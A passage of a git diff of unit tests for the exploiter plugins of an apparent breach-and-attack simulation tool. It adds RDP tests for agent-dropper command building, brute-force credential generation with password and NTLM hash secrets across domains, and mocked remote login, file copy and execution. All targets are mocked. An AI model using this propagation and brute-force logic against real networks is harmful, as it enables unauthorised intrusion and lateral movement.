Plugin, target_host: TargetHost): result = plugin.run( host=target_host, servers=SERVERS, @@ -264,7 +266,7 @@ def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetH interrupt=Event(), ) - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__exploit_host_raises_exception( @@ -281,6 +283,7 @@ def test_run__exploit_host_raises_exception( plugin = Plugin( plugin_name="MSSQL", agent_id=AGENT_ID, + http_agent_binary_server_registrar=MagicMock(), agent_event_publisher=MagicMock(), agent_binary_repository=MagicMock(), propagation_credentials_repository=propagation_credentials_repository, diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_command_builder.py index c4f01a2f994..576293cdb06 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_command_builder.py @@ -6,7 +6,6 @@ build_powershell_command, ) -from common import OperatingSystem from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.model import DROPPER_ARG from infection_monkey.utils.ids import get_agent_id @@ -23,18 +22,6 @@ def otp_provider() -> IAgentOTPProvider: return provider -def test_exception_raised_for_linux(otp_provider: IAgentOTPProvider): - with pytest.raises(Exception): - build_powershell_command( - AGENT_ID, - ["127.0.0.1"], - 2, - OperatingSystem.LINUX, - DROPPER_EXE_PATH, - otp_provider, - ) - - def test_servers( otp_provider: IAgentOTPProvider, ): @@ -43,7 +30,6 @@ def test_servers( AGENT_ID, servers, 2, - OperatingSystem.WINDOWS, DROPPER_EXE_PATH, otp_provider, ) @@ -57,7 +43,6 @@ def test_dropper_used(otp_provider: IAgentOTPProvider): AGENT_ID, ["127.0.0.1"], 2, - OperatingSystem.WINDOWS, DROPPER_EXE_PATH, otp_provider, ) @@ -70,7 +55,6 @@ def test_otp_used(otp_provider: IAgentOTPProvider): AGENT_ID, ["127.0.0.1"], 2, - OperatingSystem.WINDOWS, DROPPER_EXE_PATH, otp_provider, ) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_plugin.py index 88229ca52d1..30f472b1112 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_plugin.py @@ -14,7 +14,7 @@ from common.types import PortStatus from infection_monkey.exploit.tools import BruteForceExploiter from infection_monkey.i_puppet import ( - ExploiterResultData, + ExploiterResult, PortScanData, PortScanDataDict, TargetHost, @@ -34,7 +34,7 @@ ) EMPTY_TARGET_HOST_PORTS = TargetHostPorts() SERVERS = ["10.10.10.10"] -EXPLOITER_RESULT_DATA = ExploiterResultData(True, False, error_message="Test error") +EXPLOITER_RESULT = ExploiterResult(True, False, error_message="Test error") @pytest.fixture @@ -55,14 +55,14 @@ class ErrorRaisingMockPowerShellExploiter(BruteForceExploiter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - def exploit_host(self, *args, **kwargs) -> ExploiterResultData: + def exploit_host(self, *args, **kwargs) -> ExploiterResult: raise Exception("Test error") @pytest.fixture def mock_powershell_exploiter(): exploiter = MagicMock(spec=BruteForceExploiter) - exploiter.exploit_host.return_value = EXPLOITER_RESULT_DATA + exploiter.exploit_host.return_value = EXPLOITER_RESULT return exploiter @@ -129,7 +129,7 @@ def test_run__attempts_exploit_if_port_status_unknown( ) mock_powershell_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT @pytest.mark.parametrize( @@ -182,7 +182,7 @@ def test_run__attempts_exploit_if_port_status_open( ) mock_powershell_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__skips_exploit_if_port_status_closed( @@ -211,7 +211,7 @@ def test_run__skips_exploit_if_port_status_closed( assert result.propagation_success is False -def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetHost): +def test_run__returns_exploiter_result(plugin: Plugin, target_host: TargetHost): result = plugin.run( host=target_host, servers=SERVERS, @@ -220,7 +220,7 @@ def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetH interrupt=Event(), ) - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__exploit_host_raises_exception( diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_command_builder.py new file mode 100644 index 00000000000..52761ca07b0 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_command_builder.py @@ -0,0 +1,39 @@ +from pathlib import PurePosixPath +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.rdp.src.rdp_command_builder import build_rdp_command + +from infection_monkey.exploit import IAgentOTPProvider +from infection_monkey.model import DROPPER_ARG +from infection_monkey.utils.ids import get_agent_id + +AGENT_ID = get_agent_id() +SERVERS = ["127.0.0.1", "192.168.1.1"] +DEPTH = 2 +AGENT_EXE_PATH = PurePosixPath("C:\\agent.exe") +OTP = "123456" + + +@pytest.fixture +def otp_provider() -> IAgentOTPProvider: + provider = MagicMock(spec=IAgentOTPProvider) + provider.get_otp.return_value = OTP + return provider + + +def test_command(otp_provider: IAgentOTPProvider): + command = build_rdp_command( + AGENT_ID, + SERVERS, + DEPTH, + AGENT_EXE_PATH, + otp_provider, + ) + + assert DROPPER_ARG in command + assert str(AGENT_ID) in command + assert all([server in command for server in SERVERS]) + assert str(DEPTH + 1) in command + assert str(AGENT_EXE_PATH) in command + assert OTP in command diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_credentials_generator.py b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_credentials_generator.py new file mode 100644 index 00000000000..bbc3adcde17 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_credentials_generator.py @@ -0,0 +1,113 @@ +import sys +from collections import namedtuple +from copy import copy +from typing import Sequence, Set, Type +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.rdp.src.rdp_credentials_generator import generate_rdp_credentials +from tests.data_for_tests.propagation_credentials import CREDENTIALS, PASSWORD_1 + +from common.credentials import Credentials, LMHash, NTHash, Password, Secret, Username + +TEST_CREDENTIALS = copy(CREDENTIALS) +SECRET_TYPES: Set[Type[Secret]] = {Password, LMHash, NTHash} +DOMAINS: Sequence[str] = ["TEST_DOMAIN_1", "TEST_DOMAIN_2"] + +LOCAL_DOMAIN = "LOCAL_DOMAIN" +LOCAL_USER = "localuser" +DomainUser = namedtuple("DomainUser", ["domain", "username"]) + + +@pytest.fixture(scope="module") +def local_user() -> DomainUser: + return DomainUser(LOCAL_DOMAIN, LOCAL_USER) + + +@pytest.fixture(scope="module", autouse=True) +def patch_win32api_get_user_name(local_user: DomainUser): + win32api = MagicMock() + win32api.GetUserNameEx = MagicMock(return_value=f"{local_user.domain}\\{local_user.username}") + win32api.NameSamCompatible = None + + sys.modules["win32api"] = win32api + + +def assert_correct_identity_types(credentials: Sequence[Credentials]): + for c in credentials: + assert isinstance(c.identity, Username) or c.identity is None + + +def assert_correct_secret_types(credentials: Sequence[Credentials]): + for c in credentials: + assert type(c.secret) in SECRET_TYPES or c.secret is None + + +def assert_domain_users_added(credentials: Sequence[Credentials], domains: Sequence[str]): + for c in credentials: + if c.identity is None: + continue + + if "\\" in c.identity.username: + continue + + for domain in domains: + assert ( + Credentials( + identity=Username(username=f"{domain}\\{c.identity.username}"), + secret=c.secret, + ) + in credentials + ) + + +def test_brute_force_credentials_generation(): + generated_credentials = generate_rdp_credentials( + TEST_CREDENTIALS, DOMAINS, running_from_windows=False + ) + + assert_correct_identity_types(generated_credentials) + assert_correct_secret_types(generated_credentials) + assert_domain_users_added(generated_credentials, DOMAINS) + assert len(generated_credentials) == 20 + + +def test_brute_force_credentials_generation__pulls_local_domains_on_windows(): + generated_credentials = generate_rdp_credentials( + TEST_CREDENTIALS, DOMAINS, running_from_windows=True + ) + + assert_correct_identity_types(generated_credentials) + assert_correct_secret_types(generated_credentials) + assert_domain_users_added(generated_credentials, [*DOMAINS, LOCAL_DOMAIN]) + assert len(generated_credentials) == 40 + + +def test_brute_force_credentials_generation__no_domains(): + generated_credentials = generate_rdp_credentials( + TEST_CREDENTIALS, [], running_from_windows=False + ) + + assert len(generated_credentials) == 0 + + +def test_brute_force_credentials_generation__no_domains_still_uses_local_domains_on_windows(): + generated_credentials = generate_rdp_credentials( + TEST_CREDENTIALS, [], running_from_windows=True + ) + + assert_domain_users_added(generated_credentials, [LOCAL_DOMAIN]) + assert len(generated_credentials) == 20 + + +def test_usernames_with_domain(): + input_credentials = [ + Credentials( + identity=Username(username="domain\\testuser"), secret=Password(password=PASSWORD_1) + ) + ] + generated_credentials = generate_rdp_credentials( + input_credentials, [], running_from_windows=False + ) + + assert len(generated_credentials) == 1 diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_options.py new file mode 100644 index 00000000000..c97cbdf1847 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_options.py @@ -0,0 +1,85 @@ +import pydantic +import pytest +from agent_plugins.exploiters.rdp.src.rdp_options import RDPOptions + +AGENT_BINARY_UPLOAD_TIMEOUT = 30.0 +LOGIN_TIMEOUT = 60.0 +RDP_CONNECT_TIMEOUT = 15.0 +DOMAINS = ["MY_DOMAIN"] + +RDP_OPTIONS_DICT = { + "agent_binary_upload_timeout": AGENT_BINARY_UPLOAD_TIMEOUT, + "domains": DOMAINS, + "login_timeout": LOGIN_TIMEOUT, + "rdp_connect_timeout": RDP_CONNECT_TIMEOUT, +} + +RDP_OPTIONS_OBJECT = RDPOptions( + agent_binary_upload_timeout=AGENT_BINARY_UPLOAD_TIMEOUT, + domains=DOMAINS, + login_timeout=LOGIN_TIMEOUT, + rdp_connect_timeout=RDP_CONNECT_TIMEOUT, +) + +AGENT_BINARY_UPLOAD_TIMEOUT_EXCEPTION = {"agent_binary_upload_timeout": 0} +AGENT_BINARY_UPLOAD_TIMEOUT_LE_EXCEPTION = {"agent_binary_upload_timeout": 101} +LOGIN_TIMEOUT_EXCEPTION = {"login_timeout": 0} +LOGIN_TIMEOUT_LE_EXCEPTION = {"login_timeout": 101} +RDP_CONNECT_TIMEOUT_EXCEPTION = {"rdp_connect_timeout": 0} +RDP_CONNECT_TIMEOUT_LE_EXCEPTION = {"rdp_connect_timeout": 101} + + +def test_rdp_options__serialization(): + assert RDP_OPTIONS_OBJECT.dict(simplify=True) == RDP_OPTIONS_DICT + + +def test_rdp_options__full_serialization(): + assert RDPOptions(**RDP_OPTIONS_OBJECT.dict(simplify=True)) == RDP_OPTIONS_OBJECT + + +def test_rdp_options__deserialization(): + assert RDPOptions(**RDP_OPTIONS_DICT) == RDP_OPTIONS_OBJECT + + +def test_rdp_options__default(): + rdp_options = RDPOptions() + + assert rdp_options.agent_binary_upload_timeout == 30.0 + assert rdp_options.login_timeout == 60.0 + assert rdp_options.rdp_connect_timeout == 15.0 + + +@pytest.mark.parametrize( + "options_dict", + [ + AGENT_BINARY_UPLOAD_TIMEOUT_EXCEPTION, + AGENT_BINARY_UPLOAD_TIMEOUT_LE_EXCEPTION, + LOGIN_TIMEOUT_EXCEPTION, + LOGIN_TIMEOUT_LE_EXCEPTION, + RDP_CONNECT_TIMEOUT_EXCEPTION, + RDP_CONNECT_TIMEOUT_LE_EXCEPTION, + ], +) +def test_rdp_options_constraints(options_dict): + with pytest.raises((pydantic.errors.NumberNotGtError, pydantic.errors.NumberNotLeError)): + RDPOptions(**options_dict) + + +@pytest.mark.parametrize( + "value", + [ + None, + 1, + 1.5, + "string", + {"key": "value"}, + ], +) +def test_rdp_domains_constraints(value): + with pytest.raises((pydantic.errors.NoneIsNotAllowedError, pydantic.errors.FrozenSetError)): + RDPOptions(**{"domains": value}) + + +def test_rdp_domains_unique(): + options = RDPOptions(**{"domains": ["MY_DOMAIN", "MY_DOMAIN", "YOUR_DOMAIN", "YOUR_DOMAIN"]}) + assert options.domains == frozenset(["MY_DOMAIN", "YOUR_DOMAIN"]) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_plugin.py new file mode 100644 index 00000000000..7c65d96f340 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_plugin.py @@ -0,0 +1,200 @@ +from ipaddress import IPv4Address +from threading import Event +from unittest.mock import MagicMock +from uuid import UUID + +import pytest +from agent_plugins.exploiters.rdp.src.plugin import RDP_PORTS, Plugin + +from common import OperatingSystem +from common.types import PortStatus +from infection_monkey.exploit.tools import BruteForceExploiter +from infection_monkey.i_puppet import ( + ExploiterResult, + PortScanData, + PortScanDataDict, + TargetHost, + TargetHostPorts, +) +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository + +AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") +BAD_RDP_OPTIONS_DICT = {"blah": "blah"} +TARGET_IP = IPv4Address("127.0.0.1") +OPEN_RDP_PORTS = TargetHostPorts( + tcp_ports=PortScanDataDict({p: PortScanData(port=p, status=PortStatus.OPEN) for p in RDP_PORTS}) +) +EMPTY_TARGET_HOST_PORTS = TargetHostPorts() +SERVERS = ["192.168.1.1"] +EXPLOITER_RESULT = ExploiterResult(True, False, error_message="Test error") + + +@pytest.fixture +def target_host() -> TargetHost: + return TargetHost( + ip=TARGET_IP, + operating_system=OperatingSystem.WINDOWS, + ports_status=OPEN_RDP_PORTS, + ) + + +@pytest.fixture +def propagation_credentials_repository(): + return MagicMock(spec=IPropagationCredentialsRepository) + + +class ErrorRaisingMockRDPExploiter(BruteForceExploiter): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + def exploit_host(self, *args, **kwargs) -> ExploiterResult: + raise Exception("Test error") + + +@pytest.fixture +def mock_rdp_exploiter(): + exploiter = MagicMock(spec=BruteForceExploiter) + exploiter.exploit_host.return_value = EXPLOITER_RESULT + return exploiter + + +@pytest.fixture +def plugin( + monkeypatch, + propagation_credentials_repository: IPropagationCredentialsRepository, + mock_rdp_exploiter: BruteForceExploiter, +) -> Plugin: + monkeypatch.setattr( + "agent_plugins.exploiters.rdp.src.plugin.BruteForceExploiter", + lambda *args, **kwargs: mock_rdp_exploiter, + ) + + return Plugin( + plugin_name="RDP", + agent_id=AGENT_ID, + agent_event_publisher=MagicMock(), + agent_binary_repository=MagicMock(), + propagation_credentials_repository=propagation_credentials_repository, + otp_provider=MagicMock(), + ) + + +def test_run__fails_on_bad_options(plugin: Plugin, target_host: TargetHost): + result = plugin.run( + host=target_host, + servers=SERVERS, + current_depth=1, + options=BAD_RDP_OPTIONS_DICT, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_run__attempts_exploit_if_port_status_unknown( + plugin: Plugin, + mock_rdp_exploiter: BruteForceExploiter, + target_host: TargetHost, +): + host = target_host + host.ports_status.tcp_ports = PortScanDataDict({}) + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + mock_rdp_exploiter.exploit_host.assert_called_once() # type: ignore [attr-defined] + assert result == EXPLOITER_RESULT + + +def test_run__attempts_exploit_if_port_status_open( + plugin: Plugin, + mock_rdp_exploiter: BruteForceExploiter, + target_host: TargetHost, +): + host = target_host + host.ports_status.tcp_ports = PortScanDataDict( + {RDP_PORTS[0]: PortScanData(port=RDP_PORTS[0], status=PortStatus.OPEN)} + ) + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + mock_rdp_exploiter.exploit_host.assert_called_once() # type: ignore [attr-defined] + assert result == EXPLOITER_RESULT + + +def test_run__skips_exploit_if_port_status_closed( + plugin: Plugin, + mock_rdp_exploiter: BruteForceExploiter, + target_host: TargetHost, +): + host = target_host + host.ports_status.tcp_ports = PortScanDataDict( + { + RDP_PORTS[0]: PortScanData(port=RDP_PORTS[0], status=PortStatus.CLOSED), + } + ) + + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + mock_rdp_exploiter.exploit_host.assert_not_called() # type: ignore [attr-defined] + assert result.exploitation_success is False + assert result.propagation_success is False + + +def test_run__returns_exploiter_result(plugin: Plugin, target_host: TargetHost): + result = plugin.run( + host=target_host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert result == EXPLOITER_RESULT + + +def test_run__exploit_host_raises_exception( + monkeypatch, + plugin: Plugin, + propagation_credentials_repository: IPropagationCredentialsRepository, + target_host: TargetHost, +): + monkeypatch.setattr( + "agent_plugins.exploiters.rdp.src.plugin.BruteForceExploiter", + ErrorRaisingMockRDPExploiter, + ) + + plugin = Plugin( + plugin_name="RDP", + agent_id=AGENT_ID, + agent_event_publisher=MagicMock(), + agent_binary_repository=MagicMock(), + propagation_credentials_repository=propagation_credentials_repository, + otp_provider=MagicMock(), + ) + result = plugin.run( + host=target_host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_remote_access_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_remote_access_client.py new file mode 100644 index 00000000000..7a5973e58b6 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/rdp/test_rdp_remote_access_client.py @@ -0,0 +1,161 @@ +from ipaddress import IPv4Address +from pathlib import PurePath +from typing import List +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.rdp.src.rdp_client import RDPClient +from agent_plugins.exploiters.rdp.src.rdp_options import RDPOptions +from agent_plugins.exploiters.rdp.src.rdp_remote_access_client import ( + COPY_FILE_TAGS, + EXECUTION_TAGS, + LOGIN_TAGS, + RDPRemoteAccessClient, +) +from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS + +from common import OperatingSystem +from common.credentials import Credentials +from infection_monkey.exploit.tools import ( + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) +from infection_monkey.i_puppet import TargetHost + +EXPLOITER_TAGS = {"rdp-exploiter", "unit-test"} +CREDENTIALS: List[Credentials] = [] +DESTINATION_PATH = PurePath("/tmp/destination_path") +FILE = b"file content" +TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) + + +def stub_command_builder(*args, **kwargs): + return "command" + + +@pytest.fixture +def mock_rdp_client(): + client = MagicMock(spec=RDPClient) + client.connected.return_value = False + + def set_connected(value: bool): + client.connected.return_value = value + + client.connect.side_effect = lambda *_, **__: set_connected(True) + + return client + + +@pytest.fixture +def rdp_remote_access_client(mock_rdp_client) -> RDPRemoteAccessClient: + return RDPRemoteAccessClient(TARGET_HOST, RDPOptions(), stub_command_builder, mock_rdp_client) + + +def test_login__succeeds( + rdp_remote_access_client: RDPRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + rdp_remote_access_client.login(FULL_CREDENTIALS[0], tags) + + assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) + + +def test_login__fails( + mock_rdp_client: RDPClient, + rdp_remote_access_client: RDPRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_rdp_client.connect.side_effect = Exception() + + with pytest.raises(RemoteAuthenticationError): + rdp_remote_access_client.login(FULL_CREDENTIALS[0], tags) + + assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) + + +def test_execute__fails_if_not_authenticated( + rdp_remote_access_client: RDPRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + with pytest.raises(RemoteCommandExecutionError): + rdp_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS + + +def test_execute__fails_if_command_not_executed( + mock_rdp_client: RDPClient, + rdp_remote_access_client: RDPRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_rdp_client.execute_command.side_effect = Exception("file") + rdp_remote_access_client.login(FULL_CREDENTIALS[0], set()) + + with pytest.raises(RemoteCommandExecutionError): + rdp_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) + + +def test_execute__succeeds( + rdp_remote_access_client: RDPRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + rdp_remote_access_client.login(FULL_CREDENTIALS[0], set()) + rdp_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) + + +def test_copy_file__fails_if_not_authenticated( + mock_rdp_client: RDPClient, + rdp_remote_access_client: RDPRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_rdp_client.connected.return_value = False + + with pytest.raises(RemoteFileCopyError): + rdp_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS + + +def test_copy_file__fails_if_client_copy_fails( + mock_rdp_client: RDPClient, + rdp_remote_access_client: RDPRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_rdp_client.connected.return_value = True + mock_rdp_client.copy_file.side_effect = Exception("file") + + with pytest.raises(RemoteFileCopyError): + rdp_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(COPY_FILE_TAGS) + + +def test_copy_file__success( + rdp_remote_access_client: RDPRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + rdp_remote_access_client.login(FULL_CREDENTIALS[0], set()) + + rdp_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(COPY_FILE_TAGS) + + +def test_get_writable_paths__is_empty( + rdp_remote_access_client: RDPRemoteAccessClient, +): + assert rdp_remote_access_client.get_writable_paths() == [] + + +def test_get_os__is_windows( + rdp_remote_access_client: RDPRemoteAccessClient, +): + assert rdp_remote_access_client.get_os() == OperatingSystem.WINDOWS diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py index fdc6022dd69..a0d897f363d 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py @@ -4,7 +4,6 @@ import pytest from agent_plugins.exploiters.smb.src.smb_command_builder import build_smb_command -from common import OperatingSystem from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.utils.ids import get_agent_id @@ -22,19 +21,6 @@ def otp_provider() -> IAgentOTPProvider: return provider -def test_exception_raised_for_linux(otp_provider: IAgentOTPProvider): - with pytest.raises(Exception): - build_smb_command( - AGENT_ID, - ["127.0.0.1"], - 2, - OperatingSystem.LINUX, - DROPPER_EXE_PATH, - AGENT_EXE_PATH, - otp_provider, - ) - - @pytest.mark.parametrize( "remote_agent_binary_full_path,remote_agent_binary_destination_path,", [ @@ -52,7 +38,6 @@ def test_servers( AGENT_ID, servers, 2, - OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH, otp_provider, @@ -67,7 +52,6 @@ def test_dropper_used(otp_provider: IAgentOTPProvider): AGENT_ID, ["127.0.0.1"], 2, - OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH, otp_provider, @@ -81,7 +65,6 @@ def test_monkey_used(otp_provider: IAgentOTPProvider): AGENT_ID, ["127.0.0.1"], 2, - OperatingSystem.WINDOWS, AGENT_EXE_PATH, AGENT_EXE_PATH, otp_provider, @@ -95,7 +78,6 @@ def test_otp_used(otp_provider: IAgentOTPProvider): AGENT_ID, ["127.0.0.1"], 2, - OperatingSystem.WINDOWS, AGENT_EXE_PATH, AGENT_EXE_PATH, otp_provider, diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py index d50340d65e4..48eaf27ed73 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py @@ -10,7 +10,7 @@ from common.types import PortStatus from infection_monkey.exploit.tools import BruteForceExploiter from infection_monkey.i_puppet import ( - ExploiterResultData, + ExploiterResult, PortScanData, PortScanDataDict, TargetHost, @@ -26,7 +26,7 @@ ) EMPTY_TARGET_HOST_PORTS = TargetHostPorts() SERVERS = ["10.10.10.10"] -EXPLOITER_RESULT_DATA = ExploiterResultData(True, False, error_message="Test error") +EXPLOITER_RESULT = ExploiterResult(True, False, error_message="Test error") @pytest.fixture @@ -47,14 +47,14 @@ class ErrorRaisingMockSMBExploiter(BruteForceExploiter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - def exploit_host(self, *args, **kwargs) -> ExploiterResultData: + def exploit_host(self, *args, **kwargs) -> ExploiterResult: raise Exception("Test error") @pytest.fixture def mock_smb_exploiter(): exploiter = MagicMock(spec=BruteForceExploiter) - exploiter.exploit_host.return_value = EXPLOITER_RESULT_DATA + exploiter.exploit_host.return_value = EXPLOITER_RESULT return exploiter @@ -117,7 +117,7 @@ def test_run__attempts_exploit_if_port_status_unknown( ) mock_smb_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT @pytest.mark.parametrize( @@ -162,7 +162,7 @@ def test_run__attempts_exploit_if_port_status_open( ) mock_smb_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__skips_exploit_if_port_status_closed( @@ -191,7 +191,7 @@ def test_run__skips_exploit_if_port_status_closed( assert result.propagation_success is False -def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetHost): +def test_run__returns_exploiter_result(plugin: Plugin, target_host: TargetHost): result = plugin.run( host=target_host, servers=SERVERS, @@ -200,7 +200,7 @@ def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetH interrupt=Event(), ) - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__exploit_host_raises_exception( diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py index 88c6fd45302..bcf840bf4d5 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py @@ -26,12 +26,6 @@ def build(host: Optional[TargetHost] = None) -> str: return build -def test_exception_raised_for_windows(build_command): - with pytest.raises(Exception): - host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) - build_command(host=host) - - def test_otp_used(build_command): command = build_command() diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py index 107a9c338b7..0b96ac7beca 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py @@ -1,7 +1,6 @@ from ipaddress import IPv4Address -from pathlib import PurePath from threading import Event -from typing import Callable, Sequence +from typing import Callable from unittest.mock import MagicMock import pytest @@ -10,9 +9,12 @@ from agent_plugins.exploiters.snmp.src.snmp_options import SNMPOptions from common import OperatingSystem -from infection_monkey.exploit import IAgentOTPProvider -from infection_monkey.exploit.tools import HTTPBytesServer -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.exploit import ( + AgentBinaryTransform, + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, +) +from infection_monkey.i_puppet import ExploiterResult, TargetHost TARGET_IP = IPv4Address("1.1.1.1") DOWNLOAD_URL = "http://download.me" @@ -25,12 +27,14 @@ def target_host() -> TargetHost: @pytest.fixture -def mock_bytes_server() -> HTTPBytesServer: - mock_bytes_server = MagicMock(spec=HTTPBytesServer) - mock_bytes_server.download_url = DOWNLOAD_URL - mock_bytes_server.bytes_downloaded = Event() - mock_bytes_server.bytes_downloaded.set() - return mock_bytes_server +def mock_http_agent_binary_server_registrar() -> IHTTPAgentBinaryServerRegistrar: + mock_registrar = MagicMock(spec=IHTTPAgentBinaryServerRegistrar) + return mock_registrar + + +@pytest.fixture +def mock_agent_binary_transform() -> AgentBinaryTransform: + return MagicMock() @pytest.fixture @@ -40,11 +44,6 @@ def mock_snmp_exploit_client() -> SNMPExploitClient: return mock_snmp_exploit_client -@pytest.fixture -def mock_start_dropper_script_server(mock_bytes_server) -> HTTPBytesServer: - return MagicMock(return_value=mock_bytes_server) - - @pytest.fixture def mock_otp_provider(): mock_otp_provider = MagicMock(spec=IAgentOTPProvider) @@ -55,14 +54,14 @@ def mock_otp_provider(): @pytest.fixture def snmp_exploiter( mock_snmp_exploit_client: SNMPExploitClient, - mock_start_dropper_script_server: Callable[ - [TargetHost, PurePath, Sequence[str]], HTTPBytesServer - ], + mock_http_agent_binary_server_registrar: 